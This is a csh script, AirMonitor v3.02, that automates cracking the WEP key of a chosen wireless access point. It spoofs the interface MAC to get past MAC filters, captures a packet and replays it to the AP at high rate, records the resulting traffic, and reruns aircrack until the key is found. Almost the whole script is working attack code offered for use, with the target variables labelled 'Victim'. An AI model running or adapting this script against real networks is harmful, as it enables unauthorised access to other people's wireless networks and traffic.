#!/bin/csh -f
###############################################################################
#                             AirMonitor, v.3.02                              #
#                                                                             #
#                                     by                                      #
#                                                                             #
#             L. Padilla (e-mail: padilla at domain "gae ucm es")             #
#                                                                             #
#                      Madrid, April 2005 - January 2006                      #
#                                                                             #
# Latest version at http://www.gae.ucm.es/~padilla/extrawork/airmonitor.csh   #
###############################################################################


#  Optional script debugging (remove the '#' for troubleshooting):

#set echo on


#  Configuration variables you have to set, use 'iwlist scan' for a list:

set essid = Victim             #  ESSID   of the AP to attack.
set apmac = 00:0F:ED:CB:A9:87  #  MAC     of the AP to attack.
set chan  = 3                  #  Channel of the AP to attack.


#  Configuration variables you might need to set:

set dpath = "."   #  Output data directory (several hundreds MB required).
set weak  = 0     #  Capture type: 1, only weak IVs (less disk space required)
                  #             or 0, all data packets (faster crack).
set mac = 00:01:23:45:67:89  #  MAC to set to our interface, you can leave it
                             #  as is unless the AP has a MAC filter.


#  Configuration variables you usually won't need to set:

set debug = 0   #  Driver debug level.
set mod   =     #  Wireless module,    leave empty unless you need to force it.
set dev   =     #  Wireless interface, leave empty unless you need to force it.
set fwdir = ""  #  Firmware directory, leave empty unless you need to force it.

set tmpdir = "/tmp/airmonitor"  #  Temporary directory, avoid blank spaces.


setenv PATH /sbin:/usr/sbin:/bin:/usr/bin":"$PATH":"$cwd":".
set apmacs = `echo $apmac | tr -d ':' | tr 'A-F' 'a-f'`


#  Check disk space requirements:

echo "Checking disk space requirements..."

mkdir -p "$tmpdir"

if (`df -k "$tmpdir" | tail -1 | awk '{print $4}'` < 100) then
  echo "Error: not enough free disk space in temporary directory $tmpdir."
  echo "You need at least 100kB."
  exit
endif

if (`df -k "$dpath" | tail -1 | awk '{print $4}'` < 1000) then
  echo "Error: not enough free disk space in output data directory $dpath."
  echo "You need at least 1MB just to start but 100-500MB are recommended."
  exit
endif

echo "Minimum disk space requirements fulfilled."


#  Initialize driver:

echo "Initializing driver..."

killall airsend >& /dev/null
sleep 2
killall -9 airsend >& /dev/null

if ("$dev"X == X) then
  iwlist frequency |& grep channels | cut -d " " -f 1  | xargs -i ifconfig {} down
else
  ifconfig $dev down >& /dev/null
endif

sync
if ("$mod"X == X) then
  rmmod acx_pci >& /dev/null
  rmmod rt2500  >& /dev/null
else
  rmmod $mod >& /dev/null
endif

if ("$dev"X == X) set pdev = `iwlist frequency |& grep channels | cut -d " " -f 1 | tr '\n' '|'`

sync
if ("$mod"X == acx_pciX) then

  if ("$fwdir"X == X) then

    if (-e ./TIACX111.BIN || -e ./FwRad16.bin || -e ./FW1130.BIN) then
      set fwdir = .
    else if (-e /usr/share/acx/TIACX111.BIN || -e /usr/share/acx/FwRad16.bin || -e /usr/share/acx/FW1130.BIN) then
      set fwdir = /usr/share/acx
    else if (-e "$tmpdir"/TIACX111.BIN || -e "$tmpdir"/FwRad16.bin || -e "$tmpdir"/FW1130.BIN) then
      set fwdir = "$tmpdir"
    else if (`cat /etc/fstab | grep ^/ | cut -d " " -f 1 | xargs -i mount -r {} >& /dev/null; find . /usr/share/acx* /usr/share/ACX* /mnt/*/usr/share/acx* /mnt/*/usr/share/ACX* /*/WINDOWS /*/windows /*/Windows /mnt/*/WINDOWS /mnt/*/windows /mnt/*/Windows -maxdepth 3 |& egrep -i '/TIACX111.BIN$|/FwRad16.bin$|/FW1130.BIN$' > "$tmpdir"/am.txt; cat "$tmpdir"/am.txt | head -1 | cut -d " " -f 1`X != X) then
      cp "`cat '$tmpdir'/am.txt | head -1`" "$tmpdir"/TIACX111.BIN
      set fwdir = "$tmpdir"
    else
      find / |& egrep -i '/TIACX111.BIN$|/FwRad16.bin$|/FW1130.BIN$' > "$tmpdir"/am.txt

      if (`cat "$tmpdir"/am.txt | tail -1 | cut -d " " -f 1`X != X) then
        cp "`cat '$tmpdir'/am.txt | tail -1`" "$tmpdir"/TIACX111.BIN
        set fwdir = "$tmpdir"
      else
        echo "Error: unable to find firmware. Make sure you place a copy available and write"
        echo "its directory in the fwdir variable at the beginning of this script."
        exit
      endif
    endif
  endif

  sync
  if (-e ./$mod.ko) then
    insmod -f ./$mod.ko firmware_dir="$fwdir"
    set stat = $status
  else if (-e ./$mod.o) then
    insmod -f ./$mod.o firmware_dir="$fwdir"
    set stat = $status
  else
    modprobe -f $mod firmware_dir="$fwdir"
    set stat = $status
  endif

  if ($stat) then
    echo "Error: unable to load module $mod. Type dmesg to get more details."
    exit
  endif

else if ("$mod"X == rt2500X) then

  if (-e ./$mod.ko) then
    insmod -f ./$mod.ko debug=$debug
    set stat = $status
  else if (-e ./$mod.o) then
    insmod -f ./$mod.o debug=$debug
    set stat = $status
  else
    modprobe -f $mod debug=$debug
    set stat = $status
  endif

  if ($stat) then
    echo "Error: unable to load module $mod. Type dmesg to get more details."
    exit
  endif

else if ("$mod"X == X) then

  set mod = rt2500

  if (-e ./$mod.ko) then
    insmod -f ./$mod.ko debug=$debug
    set stat = $status
  else if (-e ./$mod.o) then
    insmod -f ./$mod.o debug=$debug
    set stat = $status
  else
    modprobe -f $mod debug=$debug
    set stat = $status
  endif

  if ($stat || `iwlist frequency |& grep channels | cut -d " " -f 1 | egrep -v "$pdev xxx" | tail -1`X == X) then

    if ("$fwdir"X == X) then

      if (-e ./TIACX111.BIN || -e ./FwRad16.bin || -e ./FW1130.BIN) then
        set fwdir = .
      else if (-e /usr/share/acx/TIACX111.BIN || -e /usr/share/acx/FwRad16.bin || -e /usr/share/acx/FW1130.BIN) then
        set fwdir = /usr/share/acx
      else if (-e "$tmpdir"/TIACX111.BIN || -e "$tmpdir"/FwRad16.bin || -e "$tmpdir"/FW1130.BIN) then
        set fwdir = "$tmpdir"
      else if (`cat /etc/fstab | grep ^/ | cut -d " " -f 1 | xargs -i mount -r {} >& /dev/null; find . /usr/share/acx* /usr/share/ACX* /mnt/*/usr/share/acx* /mnt/*/usr/share/ACX* /*/WINDOWS /*/windows /*/Windows /mnt/*/WINDOWS /mnt/*/windows /mnt/*/Windows -maxdepth 3 |& egrep -i '/TIACX111.BIN$|/FwRad16.bin$|/FW1130.BIN$' > "$tmpdir"/am.txt; cat "$tmpdir"/am.txt | head -1 | cut -d " " -f 1`X != X) then
        cp "`cat '$tmpdir'/am.txt | head -1`" "$tmpdir"/TIACX111.BIN
        set fwdir = "$tmpdir"
      else
        find / |& egrep -i '/TIACX111.BIN$|/FwRad16.bin$|/FW1130.BIN$' > "$tmpdir"/am.txt

        if (`cat "$tmpdir"/am.txt | tail -1 | cut -d " " -f 1`X != X) then
          cp "`cat '$tmpdir'/am.txt | tail -1`" "$tmpdir"/TIACX111.BIN
          set fwdir = "$tmpdir"
        else
          echo "Error: unable to load a working rt2500 module or to find firmware for an ACX111"
          echo "card. Make sure you place a copy available if you really have this kind of card"
          echo "and write its directory in the fwdir variable at the beginning of this script."
          exit
        endif
      endif
    endif

    set mod = acx_pci

    sync
    if (-e ./$mod.ko) then
      insmod -f ./$mod.ko firmware_dir="$fwdir"
      set stat = $status
    else if (-e ./$mod.o) then
      insmod -f ./$mod.o firmware_dir="$fwdir"
      set stat = $status
    else
      modprobe -f $mod firmware_dir="$fwdir"
      set stat = $status
    endif

    if ($stat) then
      echo "Error: unable to load a working module acx_pci or rt2500. Type dmesg to get"
      echo "more details."
      exit
    endif
  endif

else

  echo "Error: invalid module name $mod."
  exit

endif

if ("$dev"X == X) set dev = `iwlist frequency |& grep channels | cut -d " " -f 1 | egrep -v "$pdev xxx" | tail -1`

if ("$dev"X == X) then
  echo "Error: unable to find the right device (maybe wireless hardware not present?)."
  echo "Try ifconfig -a to see all available network devices and write the proper value"
  echo "in the dev variable at the beginning of this script."
  exit
endif

ifconfig $dev down >& /dev/null

if ($status) then
  echo "Error: invalid device name $dev. Try ifconfig -a to see all available network"
  echo "devices and write the proper value in the dev variable at the beginning of this"
  echo "script."
  exit
endif

echo "Driver initialized successfully."


#  Preconfigure driver and interface:

echo "Preconfiguring driver and interface..."

ifconfig $dev hw ether $mac

if ($mod == acx_pci) then
  iwpriv $dev SetDebug $debug
endif

ifconfig $dev up

echo "Driver and interface preconfigured."


#  Show AP list if essid unconfigured:

if ($essid == Victim) then
  echo "AP data not configured, showing visible APs you can choose from (hidden nodes"
  echo "do not appear):"

  sleep 5
  iwlist $dev scan >& /dev/null
  iwlist $dev scan

  echo "Now choose the cell you want to attack (any of those with encryption key:on"
  echo "except if using higher encryption than WEP) and write the values of ESSID,"
  echo "address and channel in the variables essid, apmac and chan at the beginning of"
  echo "this script."
  exit
endif


#  Capture a packet to replay:

while (! -e "$dpath"/replay_$essid.pcap)

  echo "Trying to capture for 5 minutes a packet to replay..."


#  Set monitor mode:

  echo "Setting monitor mode..."

  if ($mod == acx_pci) then
    iwpriv $dev monitor 2 $chan
  else if ($mod == rt2500) then
    ifconfig $dev 192.168.33.33
    ping -b 192.168.33.255 -c 1 >& /dev/null
    iwconfig $dev mode monitor channel $chan
  endif

  echo "Monitor mode set."


#  Launch packet capture:

  if (-e "$dpath"/tmp_replay_$essid.pcap && -e "$dpath"/$essid.pcap) then
    set size = `ls -l "$dpath"/tmp_replay_$essid.pcap | awk '{print $5}'`
    @ size = $size - 24
    tail -c $size "$dpath"/tmp_replay_$essid.pcap >> "$dpath"/$essid.pcap
    rm -f "$dpath"/tmp_replay_$essid.pcap
  else
    mv "$dpath"/tmp_replay_$essid.pcap "$dpath"/$essid.pcap >& /dev/null
  endif

  echo "Starting packet capture..."

  (tcpdump -i $dev -c 1000 -s 0 -w "$dpath"/tmp_replay_$essid.pcap "ether[0:1]==0x08 and ((ether[4:4]==0x`echo $apmac | tr -d ':' | cut -c 1-8` and ether[8:2]==0x`echo $apmac | tr -d ':' | cut -c 9-12`) or (ether[10:4]==0x`echo $apmac | tr -d ':' | cut -c 1-8` and ether[14:2]==0x`echo $apmac | tr -d ':' | cut -c 9-12`))" >& /dev/null &) >& /dev/null
  sleep 10

  set i = 0
  while (`ps -ef | grep " tcpdump " | grep " -w $dpath/tmp_replay_$essid.pcap " | grep -v grep | cut -d " " -f 1`X != X)
    @ i = $i + 1
    if ($i > 30) break
    sleep 10
  end

  if ($i > 30) then
    echo "Stopping packet capture after 5 minutes..."
    kill `ps -ef | grep " tcpdump " | grep " -w $dpath/tmp_replay_$essid.pcap "\ | grep -v grep | awk '{print $2}'` >& /dev/null
    sleep 2
    killall -9 `ps -ef | grep " tcpdump " | grep " -w $dpath/tmp_replay_$essid.pcap "\ | grep -v grep | awk '{print $2}'` >& /dev/null
    echo "Packet capture stopped."
  else
    echo "Packet capture stopped after receiving 1k packets."
  endif


#  Set normal mode:

  echo "Setting normal mode..."

  ifconfig $dev down

  if ($mod == acx_pci) then
    iwpriv $dev monitor 0 $chan
  endif

  iwconfig $dev mode managed

  echo "Normal mode set."


#  Check for a good replay packet:

  echo "Checking for a good replay packet in the capture file..."

  set i = 101
  (tcpdump -nlr "$dpath"/tmp_replay_$essid.pcap -c 1 broadcast and less $i | cut -d " " -f 1 > "$tmpdir"/am.txt) >& /dev/null
  set iv = `cat "$tmpdir"/am.txt`
  while ("$iv"X == X)
    @ i = $i + 100
    if ($i > 1700) break
    (tcpdump -nlr "$dpath"/tmp_replay_$essid.pcap -c 1 broadcast and less $i | cut -d " " -f 1 > "$tmpdir"/am.txt) >& /dev/null
    set iv = `cat "$tmpdir"/am.txt`
  end

  if ($i < 300) then
    tcpdump -r "$dpath"/tmp_replay_$essid.pcap -c 1 broadcast and less $i -s 0 -w "$dpath"/replay_$essid.pcap >& /dev/null
    mv -f "$dpath"/replay_$essid.pcap "$dpath"/replay_$essid.pcap.tmp
    echo "Good packet captured: broadcast and small."
    break
  else if ($i < 1700) then
    tcpdump -r "$dpath"/tmp_replay_$essid.pcap -c 1 broadcast and less $i -s 0 -w "$dpath"/replay_$essid.pcap >& /dev/null
    mv -f "$dpath"/replay_$essid.pcap "$dpath"/replay_$essid.pcap.tmp
    echo "Not good packet captured: broadcast but not small."
    echo "Enter ctrl-c now and restart this script to try to capture a better replay"
    echo "packet, otherwise going ahead with the attack in 20 seconds."
    sleep 20
    break
  endif

  set i = 101
  (tcpdump -nlr "$dpath"/tmp_replay_$essid.pcap -c 1 less $i | cut -d " " -f 1 > "$tmpdir"/am.txt) >& /dev/null
  set iv = `cat "$tmpdir"/am.txt`
  while ("$iv"X == X)
    @ i = $i + 100
    if ($i > 1700) break
    (tcpdump -nlr "$dpath"/tmp_replay_$essid.pcap -c 1 less $i | cut -d " " -f 1 > "$tmpdir"/am.txt) >& /dev/null
    set iv = `cat "$tmpdir"/am.txt`
  end

  if ($i < 300) then
    tcpdump -r "$dpath"/tmp_replay_$essid.pcap -c 1 less $i -s 0 -w "$dpath"/replay_$essid.pcap >& /dev/null
    mv -f "$dpath"/replay_$essid.pcap "$dpath"/replay_$essid.pcap.tmp
    echo "Bad packet captured: not broadcast but small."
    echo "Enter ctrl-c now and restart this script to try to capture a better replay"
    echo "packet, otherwise going ahead with the attack in 20 seconds."
    sleep 20
    break
  else if ($i < 1700) then
    tcpdump -r "$dpath"/tmp_replay_$essid.pcap -c 1 less $i -s 0 -w "$dpath"/replay_$essid.pcap >& /dev/null
    mv -f "$dpath"/replay_$essid.pcap "$dpath"/replay_$essid.pcap.tmp
    echo "Very bad packet captured: nor broadcast nor small."
    echo "Enter ctrl-c now and restart this script to try to capture a better replay"
    echo "packet, otherwise going ahead with the attack in 20 seconds."
    sleep 20
    break
  endif

  echo "No suitable packet captured at all."
  echo "Enter ctrl-c now and restart this script later to try again, otherwise going to"
  echo "try to capture again in 20 seconds."
  sleep 20

  ifconfig $dev up

end

if (! -e "$dpath"/replay_$essid.pcap) mv "$dpath"/replay_$essid.pcap.tmp "$dpath"/replay_$essid.pcap

ifconfig $dev down


#  Get IV of replay packet:

echo "Getting IV of replay packet..."

(tcpdump -r "$dpath"/replay_$essid.pcap -xnc 1 |& grep 0x0000: | awk '{print $2 $3}' > "$tmpdir"/am.txt) >& /dev/null
set iv = `cat "$tmpdir"/am.txt`

echo "Got IV = $iv."

if (-e "$dpath"/tmp_replay_$essid.pcap && -e "$dpath"/$essid.pcap) then
  set size = `ls -l "$dpath"/tmp_replay_$essid.pcap | awk '{print $5}'`
  @ size = $size - 24
  tail -c $size "$dpath"/tmp_replay_$essid.pcap >> "$dpath"/$essid.pcap
  rm -f "$dpath"/tmp_replay_$essid.pcap
else
  mv "$dpath"/tmp_replay_$essid.pcap "$dpath"/$essid.pcap >& /dev/null
endif


#  Configure driver and interface:

set psize = 0
set i = 1

init:

echo "Loop $i..."

echo "Configuring driver and interface..."

ifconfig $dev hw ether $mac

if ($mod == acx_pci) then
  iwpriv $dev SetDebug $debug
  iwpriv $dev monitor 0 $chan
endif

iwconfig $dev nick airmonitor
iwconfig $dev essid $essid
iwconfig $dev mode managed
iwconfig $dev channel $chan
iwconfig $dev rate auto
iwconfig $dev key 0
iwconfig $dev rts off

if ($mod == acx_pci) then
  iwconfig $dev sens 2
  iwconfig $dev sens 3
  iwconfig $dev retry min limit -1
  iwconfig $dev retry max limit -1
  iwconfig $dev retry lifetime 50m
  iwconfig $dev txpower auto
  iwconfig $dev power off
  iwconfig $dev commit
else if ($mod == rt2500) then
  iwconfig $dev ap $apmac
  iwconfig $dev frag off
endif

ifconfig $dev up

iwconfig $dev rate auto

echo "Driver and interface configured."


#  Wait for association:

echo "Waiting during 1 minute for association with AP..."
echo "(best moment to interrupt this script with ctrl-c)"

set j = 1
while (`iwconfig $dev | grep Point: | cut -d : -f 4- | tr -d ' ' | tr A-F a-f` != `echo $apmac | tr A-F a-f`)
  sleep 1
  @ j = $j + 1
  if ($j > 60) then
    echo "Association failed (poor signal of AP? wireless settings incompatible with AP?"
    echo "MAC filter in AP? dmesg may show a hint), restarting to retry..."
    goto reset
  endif
end


#  Set monitor mode:

echo "Setting monitor mode..."

if ($mod == acx_pci) then
  iwpriv $dev monitor 2 $chan
else if ($mod == rt2500) then
  ifconfig $dev 192.168.33.33
  ping -b 192.168.33.255 -c 1 >& /dev/null
  iwconfig $dev mode monitor channel $chan
endif

echo "Monitor mode set."


#  Append lost temporary capture file to main capture file:

if (! -e "$dpath"/$essid.pcap) cp "$dpath"/replay_$essid.pcap "$dpath"/$essid.pcap

if (-e "$dpath"/airmonitor$i.pcap) then
  echo "Appending lost temporary capture file to main capture file..."

  set size = `ls -l "$dpath"/airmonitor$i.pcap | awk '{print $5}'`
  @ size = $size - 24
  if ($size < (`df -k "$dpath" | tail -1 | awk '{print $4}'` - 1) * 1024) then
    tail -c $size "$dpath"/airmonitor$i.pcap >> "$dpath"/$essid.pcap
    if (! $status) rm -f "$dpath"/airmonitor$i.pcap
  else
    echo "Warning: not enough free disk space in output data directory $dpath"
    echo "to go on, exiting. You can restart this script once you free some disk space."
    goto tmpfin
  endif

  echo "Temporary capture file appended to main capture file."
endif


#  Launch packet capture process:

echo "Launching packet capture..."

if ($weak) then

  (weakcap $dev "$dpath"/airmonitor$i.pcap "ether[24:4]!=0x$iv and ether[0:1]==0x08 and ((ether[4:4]==0x`echo $apmac | tr -d ':' | cut -c 1-8` and ether[8:2]==0x`echo $apmac | tr -d ':' | cut -c 9-12`) or (ether[10:4]==0x`echo $apmac | tr -d ':' | cut -c 1-8` and ether[14:2]==0x`echo $apmac | tr -d ':' | cut -c 9-12`))" &) >& /dev/null

else

  (tcpdump -i $dev -s 0 -w "$dpath"/airmonitor$i.pcap "ether[24:4]!=0x$iv and ether[0:1]==0x08 and ((ether[4:4]==0x`echo $apmac | tr -d ':' | cut -c 1-8` and ether[8:2]==0x`echo $apmac | tr -d ':' | cut -c 9-12`) or (ether[10:4]==0x`echo $apmac | tr -d ':' | cut -c 1-8` and ether[14:2]==0x`echo $apmac | tr -d ':' | cut -c 9-12`))" >& /dev/null &) >& /dev/null

endif

echo "Packet capture launched."


#  Start packet replay (using practical limit of 1k packet/s):

echo "Starting packet replay..."

(airsend $dev "$dpath"/replay_$essid.pcap -c 0 -d 1000 -fc 0841 -a1 `echo $apmac | tr -d :` -a2 `echo $mac | tr -d :` -a3 ffffffffffff &) >& /dev/null

echo "Packet replay started."


#  Get incoming data packet rate to detect driver hang outs:

set rate = 11
while ($rate > 10)
  ((tcpdump -n -l -i $dev "ether[24:4]!=0x$iv and ether[0:1]==0x08 and ((ether[4:4]==0x`echo $apmac | tr -d ':' | cut -c 1-8` and ether[8:2]==0x`echo $apmac | tr -d ':' | cut -c 9-12`) or (ether[10:4]==0x`echo $apmac | tr -d ':' | cut -c 1-8` and ether[14:2]==0x`echo $apmac | tr -d ':' | cut -c 9-12`))" | wc -l > "$tmpdir"/am.txt) >& /dev/null &) >& /dev/null
  sleep 10
  kill `ps -ef | grep " tcpdump -n -l -i " | egrep -v "airmonitor|grep" | awk '{print $2}' | tr '\n' ' '` >& /dev/null
  sleep 2
  kill -9 `ps -ef | grep " tcpdump -n -l -i " | egrep -v "airmonitor|grep" | awk '{print $2}' | tr '\n' ' '` >& /dev/null
  @ rate = `cat "$tmpdir"/am.txt` / 10

  echo "Data packet rate: $rate pckt/s."
  if ($rate < 11) echo "Too low incoming data packet rate, restarting the process..."


#  Launch aircrack to find the WEP key if enough new packets:

  if (-e ./$essid-$apmacs.key) then
    if ("`grep 'KEY FOUND' ./$essid-$apmacs.key`"X != X) then
      echo "Aircrack found the WEP key! It is stored in $cwd/$essid-$apmacs.key"
      cat ./$essid-$apmacs.key
      echo "Stopping and exiting..."
      break
    endif
  endif

  set acfiles = ""
  set size = 0
  sync
  foreach file (`cd "$dpath"; ls $essid.pcap airmonitor*.pcap`)
    set s = `ls -l "$dpath"/$file | awk '{print $5}'`
    if ($s > 24) then
      @ size = $size + $s
      set acfiles = "$acfiles "$file
    endif
  end

  if (($weak == 0 && $size - $psize > 50000000) || ($weak == 1 && $size - $psize > 25000)) then
    set psize = $size
    killall aircrack >& /dev/null
    sleep 2
    killall -9 aircrack >& /dev/null
    if (! -e ./$essid-$apmacs.key) then
      echo "Starting Aircrack in parallel to try to find the WEP key with data recorded up"
      echo "to now."
      ((cd "$dpath"; \nice -n 20 aircrack -q -f 3 -b $apmac $acfiles) > ./$essid-$apmacs.key &) >& /dev/null
    else if ("`grep 'KEY FOUND' ./$essid-$apmacs.key`"X != X) then
      echo "Aircrack found the WEP key! It is stored in $cwd/$essid-$apmacs.key"
      cat ./$essid-$apmacs.key
      echo "Stopping and exiting..."
      break
    else
      echo "Restarting Aircrack in parallel to try to find the WEP key with new data"
      echo "recorded up to now."
      ((cd "$dpath"; \nice -n 20 aircrack -q -f 3 -b $apmac $acfiles) > ./$essid-$apmacs.key &) >& /dev/null
    endif
  endif


#  Check disk space:

  if (`df -k "$dpath" | tail -1 | awk '{print $4}'` < 10) then
    echo "Running out of space in $dpath, stopping..."
    break
  endif
end

@ i = $i + 1


#  Stop packet replay:

echo "Stopping packet replay..."

killall airsend >& /dev/null
sleep 2
killall -9 airsend >& /dev/null

echo "Packet replay stopped."


#  Reinitialize driver:

reset:

echo "Reinitializing driver..."

iwconfig $dev mode managed
ifconfig $dev down
sync
rmmod $mod

sync
if ($mod == acx_pci) then
  if (-e ./$mod.ko) then
    insmod -f ./$mod.ko firmware_dir="$fwdir"
  else if (-e ./$mod.o) then
    insmod -f ./$mod.o firmware_dir="$fwdir"
  else
    modprobe -f $mod firmware_dir="$fwdir"
  endif
else if ($mod == rt2500) then
  if (-e ./$mod.ko) then
    insmod -f ./$mod.ko debug=$debug
  else if (-e ./$mod.o) then
    insmod -f ./$mod.o debug=$debug
  else
    modprobe -f $mod debug=$debug
  endif
endif

ifconfig $dev down

echo "Driver reinitialized."


#  Append temporary capture file to main capture file:

echo "Appending temporary capture file to main capture file..."

@ j = $i - 1
if (-e "$dpath"/airmonitor$j.pcap) then
  set size = `ls -l "$dpath"/airmonitor$j.pcap | awk '{print $5}'`
  @ size = $size - 24
  if ($size < (`df -k "$dpath" | tail -1 | awk '{print $4}'` - 1) * 1024) then
    tail -c $size "$dpath"/airmonitor$j.pcap >> "$dpath"/$essid.pcap
    if (! $status) rm -f "$dpath"/airmonitor$j.pcap
  endif
endif

echo "Temporary capture file appended to main capture file."


#  Stop and go to definitive exit if WEP key found:

if (-e ./$essid-$apmacs.key) then
  if ("`grep 'KEY FOUND' ./$essid-$apmacs.key`"X != X) goto fin
endif


#  Check disk space:

echo "Checking free disk space before going on..."

if (`df -k "$dpath" | tail -1 | awk '{print $4}'` < 10) then
  echo "Warning: not enough free disk space in output data directory $dpath"
  echo "to go on, exiting. You can restart this script once you free some disk space."
  goto tmpfin
endif

echo "Enough free disk space."


#  Start over:

goto init


#  Definitive exit (WEP key cracked):

fin:


#  Clean useless data? Not by now:

if (0) then
  cd "$dpath"
  rm -f tmp_replay_$essid.pcap
  rm -f replay_$essid.pcap.tmp
  rm -f replay_$essid.pcap
  rm -f airmonitor*.pcap
  rm -f $essid.pcap
  rm -rf "$tmpdir"
endif


#  Temporary exit:

tmpfin:


exit
